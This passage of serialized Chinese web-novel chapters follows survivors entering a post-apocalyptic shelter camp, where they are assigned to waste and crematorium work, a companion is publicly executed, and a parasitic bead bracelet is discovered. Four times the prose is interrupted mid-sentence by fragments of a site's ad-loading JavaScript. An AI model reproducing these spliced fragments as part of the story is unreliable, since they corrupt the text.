“3号着陆点是检查最严格的地方。”于柳回答，“你们既然救了我们，我们下去之后，肯定会跟他们说明情况，确保你们的安全。” “那就好。” “不过，”于柳的目光转移到了潺音手中的那柄长剑上，“如果他们发现你们有武器，是肯定会没收的。” 潺音瞥了一眼手里的剑，正色道：“这把剑是我的贴身之物，绝不可能交出去。” 于柳露出为难的神色，叹了口气道：“庇护所并不是为所欲为的地方，相反这里有严格的规定，这种利器是不可能带进去的。” 潺音露出了防备的神色，“剑在人在，剑亡人亡。” 众人：“……” “姐妹，大可不必。”乔一伊劝阻道。 “交给我，”肖与楚对潺音说，“我替你保管好。” 潺音盯着肖与楚看了几秒钟，不情不愿地站起来，把剑交到肖与楚手上。 “等到了之后，你们先把他俩弄下去，我和小野垫后。”肖与楚对其他人说道。 大家在一起这么长的时间，就算嘴上不说，但对肖与楚和小野多少都有些了解，也知道她们俩有一些不为人知的能力，这时候自然他们说什么是什么。 飞行器慢悠悠地朝着3号着陆点而去，从就空中俯瞰3号着陆点，这里的气氛似乎不太一样，首先这个地方距离庇护所中心较远，其次似乎还布置了不少人力和武器。 飞行器完全不需要控制就降落在了指定的地方，一切按照计划进行，肖与楚和小野落在了最后，她们俩躲开监控，利落地处理好了那把剑。 走下飞行器后，肖与楚看到停机坪上站着几个穿着黑衣的人，他们手中都拿着武器，其中为首的是一个约摸四十出头的中年男人，他长着一张圆润的脸，身材也圆滚滚，脸上挂着淡淡的笑意。 于柳一下飞行器就在跟他们解释在弘愿寺发生的事，以及为什么肖与楚这帮人为什么会出现在这里。 那男人一边听一边点头。 “梁队，要不是他们，我们早死了，希望你跟上面好好说，让他们留下来。”于柳最后说道。 “明白了，明白了。”梁队脸上笑意未减，“放心吧，我会好好汇报的，你们先去治疗吧。” 说完这些，梁队示意人把这对受伤的男女士兵带走，等他们走远，梁队笑眯眯地走到肖与楚一行人面前，从左打量到右，又从右打量到左，他的表情自始至终没什么变化。 “七个人……都很健康，似乎也没怎么饿着，你们中间是不是有人进化了？” 这个问题让人捉摸不透究竟是善意还是恶意，肖与楚选择不回答，其他人也很默契的没有开口。 “你们别紧张。如果你们之中有人进化了，可以跟我说，如果能力匹配，说不定能进入联合军，这样其他人进入庇护所也就有保障了。”梁队还是那副笑眯眯的表情。 廉敏佳的表情发生了微妙的变化。 “是你吧？”梁队的微笑消失了，留下的是敏锐又警惕的目光。在他身边的那几个人不知不觉中举起了武器。 “是我。”廉敏佳不隐瞒。 梁队问：“你有什么能力？” “小佳。”肖与楚冲廉敏佳摇了摇头，她有一种隐隐的不好的直觉。 “姐姐，我没事。”廉敏佳冲肖与楚笑了笑，又对梁队说：“你刚刚说如果能力匹配，可以进联合军对吗？” “是有这么回事。” “我能控水。” “控水？”梁队有了兴趣，“展示一下。” 廉敏佳打开挂在身上的水壶，从水壶里飘出一串水滴，水滴飘到梁队眼前，便不再动了。 “不错。”梁队微微点头，露出满意的神情。“你适合去干点实事。” “我可以去，”廉敏佳收回水滴，“但是他们得留下来。” “他们？”梁队扫过其他六个人的脸，“都是你的家人？” “都是我的朋友，很重要的朋友。”说这话时，廉敏没有丝毫犹豫。 “行，我会考虑的。”梁队笑着说道，“小王，你带这个孩子去检测，其他人先去接待厅吧。” “你必须给我做保证。”廉敏佳不放心。 “小姑娘，我既然说了肯定就会做。还有啊，现在这个世道保住自己要紧，至于其他人，能帮就帮，不能帮也不要有太大的心理负担。” “小佳，你不用担心我们。”肖与楚补充道，“最重要的问题是，你真的想去吗？” “我总不能一直麻烦你，”廉敏佳心有愧疚，“而且我既然会这些，不如去干点有用的事。” 肖与楚从廉敏佳的眼中看到了一个属于这个年纪的孩子才有的热忱，她点了点头道：“明白了。” “谢谢姐姐和各位这段时间的照顾，回头见。”廉敏佳对所有人说。 在落日余晖下，廉敏佳跟着一个穿着黑衣的人离开了，肖与楚望着她瘦弱单薄的背影，五味杂陈。 “你们这些人，孩子都不放过。”林预不屑这种拉壮丁的行为。 “孩子？”梁队冷笑一声，“她已经不小了，那个，才能被称为孩子。”梁队指了指小野。“你这种人就知道动嘴皮子，没有我们这些人拼死拼活，难道指望你的嘴来拯救别人吗？” 林预哼了一声。 “带他们去临时居住点吧，能不能进庇护所，就看他们自己的运气了。” 运气？为什么进庇护所还要看运气？肖与楚百思不得其解，不过很快她就明白是怎么回事了。 黑衣人带他们到了接待厅，所谓接待厅不过是一个小小的平房，所谓接待，就是登记个人信息，拍照留存。 登记完毕后，一个胖胖的办事员出现了，他带着所有人上了一辆无人驾驶的汽车，那辆车没有透明玻璃，像一个大铁盒子一样在路上行驶。 大约过了十分钟，车子停了下来，办事员让大家下车。 下车后，另一个身材微胖的年长女人就在那儿等着他们，她满脸都写着不耐烦。 “新人，”办事员对那个年长女人说道，“最近来的人少了。” “能不少吗？外面都死得差不多了，”年长女人打量着眼前这几个人，又嘟囔了一句“能活下来就不错了”。 “可不，这些人都交给你们了。”办事员说完跟年长女人道了别，就坐着汽车离开了。 肖与楚这才撇清了这个地方的全貌。这个地方是一个大院子，院子周围有围墙，里面有三栋灰白色的类似仓库一样的房子，除此之外就只有水泥地和几栋小屋了，院子里有几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个穿着统一灰色制服的人在散步。 “叫我刘姐就行了。”年长女人面无表情，“你们几个住1号仓库，等庇护所有名额了，你们就能进去了。” “住仓库是什么意思？”张进率先问道。 “就是住仓库啊，”刘姐语气平淡，“两人一间，你们可以自己先分配。” 刘姐摇摇晃晃地把所与人带到了所谓的1号仓库门口，门口有一个大爷在值守，看到刘姐过来，他微微抬起眼皮打了一下招呼，就放人进去了。 “一楼是就餐区，活动区，二楼、三楼是居住区，这个地方该有的都有，比你们在外面流浪强。” “那可说不好。”林预嘀咕道。 刘姐白了林预一眼，说：“我带你们上楼。” “刘姐，这里住了多少人啊？”肖与楚发现这里住的人似乎不太多。 “高峰期住了四五百人，现在嘛，也就百八十号人了，都住在1号仓库。” 和肖与楚想象中差不多，这里的人看起来大多体格都不太强壮，像张进这样高大的身材更是少见。 肖与楚一行人跟着刘姐上了二楼，首先印入眼帘的是休息区。休息区摆着大约十张左右的小圆桌，零零星星地坐着一些人，其中一张桌子为了几个男女老师正在聊天。看见有人上来，他们瞬间噤了声。 刘姐带着他们走进了第五列也就是最后一列走廊，走廊右手边就是房间，编号从1501开始，走到1510时，刘姐才停下来。 “1510、1511、1512都是你们的，你们自己分配，洗手间和洗澡间都在最里头，房间里有换洗衣服。得告诉你们一件事，在这里住也不是白住的，需要干活。” “干什么活儿？” “垃圾处理厂工作。” 乔一伊一听垃圾处理厂，立马不乐意了。“有没有别的工作？” “没有，就这，不乐意干就得卷铺盖走人。”刘姐眉毛朝天，“现在不比以前了，没你们挑工作的份，在没进去庇护所之前，都得干这个活儿。” “那……我们什么时候进庇护所？” “这不好说，得看他们什么时候有缺口。哎，你们别不知足，这里也每天供吃喝，只是工作累了点，跟里面的人比起来没那么体面。” “里面的人干什么活儿？” “他们啊……大多数人都在生产保证基本生活的物资，一些人维护秩序，还有一些人当技术工人，还有……”刘姐想了想，“还有一些有地位的人。” “多有地位？” “医生、科学家之类的。” “明白了，谢谢刘姐。”虽然去垃圾处理厂不是什么好工作，但正如刘姐所说，在这个地方无论如何都比在外面流浪强，目前看来，外面的风风雨雨似乎都没影响到这里，空白之地的说法大概是真的。 刘姐离开后，肖与楚和其他人分配好了房间，她自然和小野住在一起，乔一伊和潺音同住，而张进只能和林预一起住了。 收拾完毕后，肖与楚决定到处去转转，熟悉一下这里的环境。 她沿着走廊往休息区的方向走，一路上有的房门紧闭，有的房门虚掩着，走到1504房间时，她听到了房间里传来有人说话的声音。 肖与楚的目光往房间里飘了去，房间里光线很暗，但那双眼睛映着门外的光芒，他的眼神那么空洞，像是两口深不见底的井，他神态恍惚，只剩下那张不变的国字脸在肖与楚脑海和一个人重叠。 一瞬间过去的记忆就入侵脑海。 没错，眼前这个人是肖与楚在汽车店门口遇见的那个国字脸…… 35. 035 他怎么变这样了？ 肖与楚仔细打量他，他像其他人一样穿着一套灰色制服，手腕上戴着一串深红色佛珠。他的眼睛看起来像是在盯着她，但却没有任何表情，也没有任何肢体语言。 肖与楚思索几秒，问道：“你还认识我吗？” 国字脸的眼睛晃动了一下，似乎回过神来。“你是……？”他的表情很困惑，就好像今天第一次见肖与楚一样。 “我们见过，在汽车店。”不知为何，肖与楚此时有种末日重逢的久违感，尽管对方当初可是要把她弄死的人，但现在也不那么重要了。 “见……过？”国字脸说话节奏很迟钝，跟那日在汽车店门口相比判若两人。他显然对肖与楚没印象，片刻他摇头道：“嗯……没印象。” “大哥，你跟谁说话呢？”从门后又钻出一个人。 肖与楚也认出了他，是国字脸其中一个小弟，他看起来瘦了一圈，但脸上的戾气却还未消失。 “是你？”小弟本来平静的脸一下子变成了愤怒小鸟，他没想到还能再遇到这个害他兄弟无影无踪的人。“你别想动我大哥！” “无冤无仇，谁要动他？”肖与楚没好气。 小弟似乎还不放心，准备关门。 “等一下。” “干嘛啊。” “你大哥……怎么变这样子了？” “什么样子？”小弟板着脸，似乎是不想和肖与楚交谈。 “他生病了？” “与你无关。总之，我们无冤无仇，你离我们远一点。”小弟说完就嘭地一声关上了房门。 肖与楚顿在原地，脑海里出现了无数个问号。 也罢，肖与楚没做停留，继续往前走，她记得休息区有几个人在聊天，说不定能从他们嘴里知道一点关于这里的消息。 肖与楚一出现在通道里，休息区里的人就向她投来了好奇的目光。 其中一个五十岁左右的大姐率先站了起来，向肖与楚招了招手道：“新来的吧，过来过来，我们聊聊天。” 肖与楚一一扫视这几个人，看起来脸色都正常，表情也正常，便放心走了过去。 “不好意思，各位，我是新来的，对这里不太了解，所以过来讨教。”肖与楚亮出一个善意的微笑。 她这个人，外就是一个非常平易近人的长相，对坐在这里的人来说，没什么可值得防备的，所以那伙人轻易就接纳了她。 大姐很热情地地招呼肖与楚到她身旁的空位坐下。 “我刚刚看见你们了，你们几个是今天刚到的吧？”大姐问。 “嗯。” “外面情况怎么样了？”对面一个瘦青年急忙问肖与楚。 “这几天下大雨，整个林川市都被淹了，情况不太乐观。” 瘦削青年似乎松了口气，“还好来得早，不然什么都没了。” “你们怎么出来的？”另一个长相斯文的男青年接着问肖与楚。 “我们……这个说来就话长了，反正也是一路波折到了这里。”肖与楚不想说那么清楚。 “谁不是呢，”另一个短发女人说道，“我们本来一大家子出来的，到了这里就剩下我一个。” 伤心的话题一提起来，大家的脸色都发生了微妙的变化。 “别说这些了，”大姐摆了摆手，换了个话题，“你叫我玲姐就行了，我们几个来这里也有一段时间了，有什么不懂的你可以问我们。” “我叫肖与楚，”肖与楚露出一个微笑，“太谢谢你们了，我就是因为担心所以才过来找人聊聊，不知道这里的生活怎么样。” “这里的日子肯定比外面好，就是吃的东西不怎么样。”斯文男青年回答道。 瘦削青年认同地点头，“没错，吃的东西只能说是能糊口吧。但是我们不会像在外面求生的那些人一样遇到一些怪东西，也不用担心极端天气的危害，总的来说还是强很多，这世道只要活着就行了。” “这样啊？你们在这里都待了多久了？” “差不多半来月吧，他们说庇护所的名额早就爆满了，能把我们安排在这里，就已经是额外照顾了。” 肖与楚不解：“那意思是，要等庇护所的名额腾出来了，才能有人进去？” “理论上来说是这样。” “但庇护所也不可能经常死人吧？” “理论上来说也是这样，”斯文男青年一板一眼，“但有些人可能会发生变异，之后就被调走了。还有些人可能会生病，你懂的，这段时间大家活得人不人鬼不鬼的，很容易生病，这就是我们进去的机会。” 肖与楚恍然大悟：“这机会……还真是渺茫。” “未必呐，”玲姐摇头，“最近好像进去的人变多了，之前几天都没一个，但是昨天一下子进去了三个。” “你怎么知道的？”瘦削青年问。 “我有什么不知道的，这里的人我都清清楚楚。”大姐挺起了胸膛，一脸得意。 “玲姐，”肖与楚灵光一闪，“那你知道1503那两个人什么时候来的吗？” “1503……”玲姐皱起了脸，“那两个人一壮一瘦啊，没多久，也就三四天吧。” 也就是说那天加油站分别后，那两人就有可能来到这里了，他们的速度倒是快。 “我给你们提个醒，”玲姐突然压低了嗓门，“听说最近我们的人不止去垃圾站处理垃圾了，还得干点别的事。” “什么事啊？”短发女人一脸天真。 “好像有人被安排去火葬场。” “啊？” 玲姐直起了身子，又道：“哎，那个地方也没啥特别的，但是分配到那里去工作，总是晦气一些，不过也有好处，昨天进庇护所的三人就是在火葬场干活的。” “你这么说，也不亏。”瘦削青年摸了摸布满胡茬的下巴，看表情已经是在思考要不要去了。 “亏是不亏，但你这种身板就别想了，火葬场那边都爱身材壮实一点的，对了，就那个1503的那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个壮汉也去过火葬场干活呢。” 众人有一搭没一搭地聊着，肖与楚很快就摸清楚了这里的基本情况。庇护所据说居住了好几万人，而在这个临时居住点的人分别在三个垃圾处理工厂干活，分为生活垃圾处理工厂、排泄物垃圾处理工厂、以及工业垃圾处理工厂。每天在工厂必须干满六个小时，比上班稍微轻松一点。 聊完没多久后，就到了吃晚饭的时间，肖与楚一行人进了就餐区才知道吃的东西究竟是什么，是一些不知道什么成分的灰褐色糊糊。 这种东西的难吃程度比以前肖与楚吃过的最难吃的食物还要难吃一百倍。如果不是为了活命，肖与楚觉得在座的人都不会吃进去一口，但如今大家像是机器人一样，埋着头默默地吃这些东西。 没有什么交谈的声音，甚至连吃饭的声音都很小，跟其他人比起来，肖与楚一行人显得格格不入，但他们还是强忍着不适把东西吃完了。 因为在桌上有一句话：三日累计剩余食物超过100克，将被驱逐。 吃完晚餐后，天色就完全暗了下来。 这个临时居住点虽然有电力，但只有极其昏暗的灯光在头顶晃荡，洗澡的时间有严格限制，不过至少比什么都不提供要强。 而且最好的一点是气温舒适，没有极端的高温和低温，这一点的确比外面要强很多。 现在外面还有活着的人吗？应该有，但轮番的折磨和食物的短缺，不知道还有多少人能顺利活下来。 或许，更多的是来自各个时空的奇行种吧。 肖与楚躺在床上，望着天花板上昏暗的灯光，小野均匀的呼吸声就从隔壁床上传了过来。实际上，她发现小野的睡眠总是很好，她能很快地进入梦乡，只是即便进入梦乡，她也不会放开那个平平无奇的蓝色布包。 天知道那空间囊有多大，里面能装得下多少东西。 不一会儿天花板上的灯光灭了，肖与楚听见周围传来低不可闻的叹息声，似乎是在遗憾灯光的消失。又过了一会儿，周围一片寂静，似乎大家都睡着了，肖与楚也渐渐地闭上了眼睛。 不知道过了多久，肖与楚朦胧中听到了门外传来窸窸窣窣的响动声，才从这种沉重又虚无的思绪中抽离出来。 响声由远及近，像是脚步声，其中还夹杂着衣服摩擦身体的声音。 是有人巡逻？还是有人半夜睡不着在外面瞎溜达？ 肖与楚心中满是疑惑，她竖了起来，轻手轻脚地走到了门边，贴近门，细细聆听外面的动静。 偏偏那响声到了这门口，就突然消失了。 虽然隔着一扇门，但肖与楚感觉到那个人现在就站在门口，说不定他此刻正盯着这扇门，思索着下一步该怎么破门而入。 这个人到底想要干嘛呢？ 肖与楚屏住呼吸，直起了身子，盯着虚空的黑暗，眼前似乎浮现出了一张模糊的人脸。 “嘭——嘭——嘭——” 几声轻微却又清晰的敲门声在肖与楚耳边响起…… 36. 036 “嘭——嘭——嘭——” 敲门声再次回荡在肖与楚耳边，不是错觉，这响声在寂静的夜里如此刺耳，让肖与楚头皮发麻。 小野没有醒过来，周围也没其他的声音。 “有人吗？”门外传来低微的说话声。 这声音…… 肖与楚反应过来，她拉开门，在朦胧的应急灯光亮之下，一张粗糙的疲惫的脸在她眼前晃荡。 看到肖与楚的脸庞，那人的脸上荡起了一丝朦胧的笑容。 “我还以为你睡着了。”他道。 肖与楚吞了口唾沫，问道：“你……来干嘛？” “我不干嘛。”来人嘴角的弧度像是被固定好了一样，让肖与楚觉得有一丝诡异。“我还以为我认错人了，没想到真的是你啊。” 肖与楚沉默，她实在摸不透国字脸这么大半夜出现在门口的原因是什么。 “你是来叙旧的？”肖与楚低声问道。 国字脸摇头，他沉默了几秒，继续说：“你应该是个很厉害的人。上次，你把我两个兄弟都送走了，一点痕迹都没留下。” “不过是凑巧罢了。” 国字脸并不理会，而是自顾自地说话：“如果这个世界没变成这个鸟样，我肯定还在吃香的喝辣的。” “哦……”肖与楚想关门了。 “但现在没得吃了，只能吃那种烂糊糊，说不定命也没剩下几天了。”国字脸的笑容凝固，他向肖与楚投来了一个奇怪的眼神，这眼神在黑夜中格外让人发怵。 “你……你能不能救救我？”他话锋一转。 肖与楚噎住：“你不是好好的吗？我怎么救你？” 国字脸慢悠悠地摇了摇头，说：“我不该带萝卜来这里，还不如在外面，死得痛快。” “你能说得具体些吗？”光凭这些只言片语，肖与楚完全没头绪。 “这个地方不是我们该来的地方……”国字脸目光逐渐涣散，“这不是我们的目的地。” “你说清楚一点，你们的目的地是哪儿？”肖与楚急死了。 “说不清楚，就是……就是……”国字脸突然身子一震，像是被什么东西控制住了一样，我先走了，有空再说。” 肖与楚想要叫住国字脸，但他头也不回地走了。走廊上沙沙作响，他一直走到自己房间门口，才推门而入。 这是怎么回事？难道他在梦游？ 肖与楚脑海里一片混沌。这个晚上她的睡眠被彻底摧毁了，脑海里不断浮现起国字脸的身影，他想说什么？他到底经历了什么？ 第二天一大早，临时居住点的铃声就响了。 肖与楚从半梦半醒中醒过来，叫醒了还在熟睡的小野。慌忙收拾完毕后，她就带着小野和乔一伊一起下了楼，其余四个人早就在楼下等她们了，早餐依旧是那种糊糊，即便不想吃，也不得不咽下去。 “你们说这跟坐牢有什么区别？”林预似乎变得有些暴躁。 他的话引来了张进的一瞥。“你在酒店不也跟坐牢差不多。” “不一样，这里的感觉不一样，吃得也很差。”林预抱着胳膊，对眼前的食物一脸厌倦。 “你忘了这里的规定了？”张进提醒道。 “没忘。”林预说着拿起了勺子。 在他们说话的间隙，肖与楚一直在人群中寻找国字脸的踪迹，但奇怪的是，他和他的小弟都没有踪影。 就这样一直到到早餐结束，都没有看到他们。 早餐结束后，众人就被安排去各个区域工作，肖与楚和乔一伊去一区，林预和潺音被安排去了三区，而张进果不其然被安排去了火葬场。 有规定孩子不能去这些地方，小野只好独自留了下来。 分配好之后，众人就上了早就在院子里等候的几辆无人驾驶汽车。车队到了院子外，便开往了不同的方向…… 肖与楚所在的这辆车很安静，没有人开口说话，乔一伊坐在她旁边，玲姐就坐在她前面，只是这会儿她就装作不认识肖与楚一样。 车子开了大约一刻钟，才停了下来。 车内机械的播报音让所有人尽快下车。肖与楚下车后，才看清这个地方的样子，映入眼帘的是一栋低矮的灰色建筑，门口站着一个穿着蓝色制服的高个子男人。 “这……就是我们处理垃圾的地方？”乔一伊发出了疑问。 “是的。”玲姐在肖与楚和乔一伊背后小声回答，“你们运气不好，跟我一起分配到排泄物垃圾处理工厂。” “啊？”乔一伊露出了震惊的表情。 “放心吧，不会让你直接上手的，”玲姐依旧保持着低声，“但是这里的味道有些不好闻。” 灰色建筑的大门打开了，高个男人示意大家进门。 每进去一个人，高个男人就点点头，像是在表达某种许可。 肖与楚和乔一伊差不多排在最后，等到了高个男人跟前，高个男人甚至连眼皮子都懒得抬了。 “进去吧，都进去吧。”他挥手道。 进了大门之后，眼前是一扇巨大的玻璃窗，玻璃窗里有一个宽阔的空间，里面布满了互相连接的巨大机器，机器发出低沉的轰鸣声。 肖与楚跟着其他人的脚步，来到更衣室，换上了防护服。 等一切准备妥当后，才在高个男人的指挥下进了处理间。处理间里果然弥漫着一种奇怪的味道，但也并非不能忍受。有两个年轻一点的工人过来教肖与楚和乔一伊如何使用这些机器，如何包装那些已经被研磨成白色粉末状的东西。 看到那些白色粉末物，肖与楚有点怀疑它们的来历，要说是排泄物，这也太不像了。 就这样，包装、搬运，几乎忙活了一上午，才完成了工作。 回程依旧坐那辆无人驾驶车，窗外的景色仍然不可见，当车停下来的时候，车上所有人都像获得了释放了一样，长长地吐了口气。 午餐的时候依旧没有看到国字脸的身影，不仅如此，张进和林预也没有回来，直到下午三点多，肖与楚才在门口看到了张进。 肖与楚刚想问他工作累不累，他就摆了摆手道：“别问了，那个地方的活儿是真不好干呐。” “你等一下，”肖与楚一眼就看到了他手腕上的东西，她抓着张进的手腕问：“这东西你哪儿来的？” “你说这个手串？”张进皱着眉看着手腕上的串珠，“这是我在火葬场捡的啊，没人认领，我看成色不错，就自己戴上了。” 但这个手串分明和国字脸昨天戴的那串一模一样。 “这手串有什么特别的？”张进看肖与楚脸色不对劲，又问。 “我昨天看到有人戴一模一样的手串。”肖与楚说。 “谁？我还给他就是了。” 肖与楚摇了摇头，她琢磨手串是在火葬场发现的，联想到国字脸昨晚说的话，该不会他已经死了吧…… 她没再往下细想，反正对国字脸那种人也没什么好感，就算他真要出了什么事，也与自己无关。 “算了，你先戴着吧。” 过了一刻钟左右，林预也回来了，他脸色苍白，一身臭汗，仿佛受到了什么沉重的打击一样。看到肖与楚，他也没搭话，只是说了句要睡觉，就赶紧回房间休息了。 到了晚餐时，张进才拉着林预出来，林预还是那副恹恹儿的样子，好像对对眼前的一切都失去了兴趣。 这个异常的反应，让肖与楚很纳闷，但餐厅人多眼杂，她也找不到合适的机会开口问到底是怎么回事。 就在她看着林预发愁时，餐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 厅里突然发生了一阵骚动，众人循着骚动声望去，才看到餐厅门口竟然出现了一个身材高挑的女人，她身后还跟着几个强壮的士兵。 这些人的出现立即吸引了所有人的视线。 女人的目光在就餐区游荡，似乎是在寻找什么东西。 “她是谁啊？”乔一伊问。 “不知道。”肖与楚回答。 “她在找人，”潺音在一旁低声说道，她的视线随即落在了林预身上，“我猜她要找的那个人恐怕要吃苦头了。” “你怎么知道？”乔一伊什么也没看出来。 “因为我找奸细的时候就是这种眼神。” “哦……” 女人的目光似箭，最终落在了肖与楚这一桌上。 肖与楚心头咯噔一下，她的目光扫向所有人，才看见林预的脸色已经变得煞白，手在不停发抖。 “林预，你干什么了？”肖与楚低声问。 没等林预回答，那个女人已经带着几个士兵径直朝他们这桌走了过来。 肖与楚急了：“林预，到底怎么回事？” 林预抬起头，他满脸惊恐，嘴唇蠕动。哪怕是在鸿鑫酒店最惊险的时候，肖与楚也没见过他这么害怕。 “你……” “嘭”的一声，肖与楚还只说出一个字，林预圆滚滚的脑袋突然就挤成了一小段，他的脑浆像烟花一样喷了出来，一桌人无一幸免，连餐盘里都是粉红色的脑浆。 乔一伊吓得大叫一声。 肖与楚手急眼快把小野拉进怀里。 潺音本能地站了起来，她刚想说什么，肖与楚另一只手拉住她的胳膊，给她使眼色，示意她坐下。 “打扰大家吃饭了。”女人挥了挥手，示意士兵把没有脑袋的林预提了起来，这场景让在座以及周围几桌的人都倒吸一口气。 “各位，你们都看见了吗？”女人转过身子，用居高临下地询问所有人。 没有人回答她，显而易见，大家都吓坑了。 “这个人叫林预，今天在工厂违反了规定，私自出了工厂，还带走了一些小物件。这是他应有的惩罚。” 女人冷漠的腔调和林预血糊糊的尸体，让在场的气氛如坠冰窟。 肖与楚这才看见士兵的手里不知道什么时候多了一个铁环一样的东西，看起来很不值钱。 女人的目光扫视了一圈，最后目光收回来落在了肖与楚这桌人身上。 “我知道你们很害怕，不过你们放心，只要守规矩，就不会发生这种事。” 赤裸裸的警告！ “哦，对了，抱歉弄脏了桌子，还有你们的衣服，如果还想继续吃，我可以让他们给你们换一份。”女人语气漠然，“把他拖出去吧，你们继续。” 在女人的指挥下，士兵们将林预的尸体拖出了餐厅，她也跟着出去了。 就餐区死一般的寂静，如果不是满桌的血浆，肖与楚甚至要怀疑刚刚这一切是否发生过。 她松开了手，小野也看到了满桌血污，她微微皱了皱眉头。 “这……这确定是庇护所吧？他们为什么要杀林预？就因为……他私自出了工厂？”乔一伊害怕极了。 “对啊，就这么点事就把人杀了？”张进气得狠狠地在桌上捶了一下，“太过分了。” “那个女人喜欢杀戮。”潺音从刚刚那个女人的眼里看到了她对鲜血的渴望。 “……万一他们也这么对我们？”乔一伊这才想起来擦脸上的血花。 “我去找他们算账。”张进说着就起身，要往外走。 “张叔叔。”小野拉住张进的胳膊。 “怎么了？” 小野没说话，只是直勾勾盯着张进的手。 “你好像有麻烦了。” 37. 037 张进愣了愣，甩开小野的手道：“我有什么麻烦？” “你的手串，能不能给我看看？”小野这时的神色突然异常的严肃。 “不行，这是我的！”张进不耐烦地把袖子撸下来，眼睛里也多了一丝怒气。 他的举动让肖与楚很惊讶，认识这些天以来，她没看过张进发火，更何况还是对小野。 “我只是看一看。”小野委屈巴巴地说道。 “不给看，烦不烦啊，我回去了。”张进懒得理会众人的目光，气冲冲地独自往餐厅外走，直到看到他上楼，众人才将视线挪了回来。 “那个手串是怎么回事？”肖与楚问小野。 “有问题。”小野低声且稚气地说。 “你们几个还吃饭吗？不吃赶紧把桌子弄干净。”小野还没来得说全乎，刘姐的声音就响了起来，她脸上写满了烦躁。 “不吃了，我们马上收。”肖与楚赶紧回答道。 刘姐怒气冲冲：“这些督察队的人，做事总是这么莽撞，好好的一顿饭，又给造没了。” 肖与楚第一次听说还有督察队，如果林预只是擅自外出，拿了那么一点东西，督察队有必要杀掉他吗？ 虽然肖与楚谈不上和林预有什么深厚的感情，但刚刚那种视觉上的冲击力太触目惊心了，让肖与楚现在身上都布满了鸡皮疙瘩。 她见刘姐没有要走的意思，肖与楚便一边收拾餐具一边问道：“督察队杀人这么容易？” “他们负责维护庇护所的秩序，只要是他们认定的威胁，想跑也跑不了，这个林预肯定惹大麻烦了，要不然他们不会杀他。” “多大的麻烦？” “这我哪儿知道啊？”刘姐白了肖与楚一眼，“都怪你们几个新来的，本来日子挺安生的，看来这几天有的折腾了。” 刘姐的话给肖与楚心里抹上了一层更浓郁的阴影，林预已经死了，现在操心他自然是没什么用，但张进还活着，看他刚刚的表现，说不定他也会捅出什么大篓子。 收拾完桌面上的残渣后，肖与楚急忙拉着其他人回到了二楼，现在首先要弄明白的是那个手串的来历。 “张叔叔戴的手串，是活的。”小野说道。 “活的？”肖与楚虽然想过那个手串有问题，但没想过那个手串是个活物。但联想到那株发疯的藤蔓，似乎也不稀奇了。 “也是其他时空的生物？”肖与楚问。 “是。资料上有记载，这种东西叫红珠，是生活在第3587号时空的一种生物，形状跟你们时空的串珠一样，但却靠吸取供体的营养为生，它还能影响供体的感官神经。” “明白了，我们得赶紧让张进把这东西取下来。”肖与楚说着就要起身出门。 谁知刚走到门口，玲姐就迎面而来，她神色凝重地看着肖与楚，似乎有一肚子话要说。 “你们……还好吧？”她关切地问道。 “能好到哪里去。”肖与楚唉声叹气。 “哎，长得挺好一小伙子，就这么没了，挺可惜的。”玲姐惋惜叹气，“我是第一次见到这种事，还好离得远，没看清，不然肯定吓死了……”玲姐把视线转移到肖与楚身后的小野身上，“她应该没看到吧？” “我当时捂住她眼睛了。” “那就好，那就好。我过来就是看看你们，没事我就放心了。” “谢谢玲姐。”肖与楚挤出一个微笑。 “哎，不客气，”玲姐没有要走的意思，“话说回来，你们也确实要小心点了，最近你们几个肯定会被重点关注，要是被抓到什么把柄，就完了。” 肖与楚连连点头。 玲姐接着说：“过去的就过去了，节哀顺变。” 肖与楚再次敷衍，点头表示感谢。 “我走了，”玲姐见肖与楚没什么大碍，准备离开，旋即又想到了什么，“哦，对了，我刚刚看到跟你们一起的那个男的出去了，他应该没什么事吧？” 男的？张进？ “他出去了？” “嗯，我还跟他打招呼呢，他也没理我。”玲姐说。 肖与楚顿感不妙，等玲姐走后，她去张进的房间里看了一眼，果然没有人。不得已，她叫上潺音，乔一伊在临时居住点找了一圈，可是张进就好像蒸发了一样，不见踪迹。 眼看着时间一分一秒溜走，乔一伊最先开始心急起来。“他要是跑出去了，肯定会像林预一样被那个女人杀死。” “他可能躲在什么地方了，没被我们发现。”潺音思索道。 “但是我们都找遍了，都没看到他。”乔一伊嘴唇发白，“万一……”乔一伊不敢往下想。 “2号仓库和3号仓库说不定有玄机。”潺音看着不远处两个紧闭的仓库大门说。 “我们进不去，他肯定也进不去。” “我们进不去，但不代表其他人进不去。”潺音思索道。 “你俩别绕口令了，我上楼去找一下小野。” 她们进不去的地方，小野肯定有办法。肖与楚快速跑上了二楼，推开房门，房间却空无一人，她正准备出去找，却发现小野床上有一个拇指大小的银色盒子。 肖与楚疑惑地捡起盒子，发现上面有一个按钮，她按了一下，在眼前出现了一副小野的全息投影。 “张叔叔在临时居住区后面的小河边，我看刚刚有人往他那里去了，来不及等你们，我先走了。对了，3号仓库后有一个缺口可以出去。” 肖与楚从未见过河流，甚至没听到过河流的声音，但她意识到这件事的走向越来越危险。她把盒子揣进兜里，急忙往楼下跑去。看到乔一伊和潺音还站在门口，她说了一句让她们回去等着，就赶紧往3号仓库那里跑了。 天色已经渐渐暗了下来，肖与楚若无其事地摸到了3号仓库后面，这里距离后墙就几米距离，但是堆满了杂物，还有不少未清理的垃圾。肖与楚按照全息头像指定的地点，走到了一个非常隐蔽的缺口处，很顺利地爬了出去。 外面是一片杂草地，还有稀稀拉拉几棵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发育得不太好的树苗。 肖与楚沿着小野在全息投影中指出的方向走，不一会儿就越过了一个小土坡，这时一条大约一条双向马路宽的小溪就在她眼前。 溪里的水很浅，大约小腿深，汩汩的水流声让人的身心会感到片刻的与娱乐。山里的太阳落得格外早，只有一丝余晖还挂在山尖上，映在河面上有点点波光。 沿河两岸都没有人影，但在不远处，有一个从河堤一直延伸到河里的大石头，肖与楚不自觉地把目光投向了那里。 她刚想过去看看，就听到身后传来一个声音。 